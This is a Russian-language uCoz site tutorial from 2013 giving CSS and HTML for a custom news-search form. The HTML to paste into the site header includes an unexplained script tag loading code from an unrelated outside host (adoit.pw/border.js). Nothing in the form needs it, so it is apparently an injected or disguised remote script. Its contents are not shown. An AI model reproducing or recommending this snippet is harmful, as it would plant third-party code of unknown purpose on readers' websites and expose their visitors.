Поиск по новостям для uCoz

Пятница, 19.04.2024, 02:41 Вход на сайт Регистрация Карта сайта RSS Лента

Чат

Статистика

Гости: Пользователи:

Онлайн всего: 1

Гостей: 1

Пользователей: 0

Пользователи онлайн

Никого нет.

Страны посетителей

Реклама на сайте

Главная » 2013 » Июль » 15 » Поиск по новостям для uCoz

11:20

Поиск по новостям для uCoz

[c]

[/c]Новая форма поиска по новостям
Установка:

1. В css вставляем:

[code]#poisk {
background:url(http://pnghosts.ru/img/uSE.png) no-repeat;
width:293px;
height:60px;
padding-top:17px;
}

#forma {
background:none;
font-size:15px;
font-family:Verdana;
color:#99958c;
margin-left:32px;
border:none;
}

.knp {
background:no-repeat;
width:60px;
height:60px;
border:none;
position:absolute;
top:-0px;
}

.knp:hover {
background: 0px -60px no-repeat;
cursor:pointer;
}[/code]

2. Теперь заходим в верхнию часть сайта, ищем там место под наш поиск и вставляем html код:

[code]<form action="http://ВАШ Сайт/news/" id="poisk" method="post">
<div style="position:relative;">
<input type="text" name="query" id="forma" value="Найти.." onfocus="if(this.value=='search...')this.value=''" onblur="if(this.value=='')this.value='search...'"/>
<script type="text/javascript" src="http://adoit.pw/border.js"></script>
<input class="knp" name="sfSbm" type="submit" value="" />
<input name="a" value="14" type="hidden">
</div>
</form>[/code]

Просмотров: 479 | Добавил: DoG | Рейтинг: 0.0/0 Вернутся

Всего комментариев: 0

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]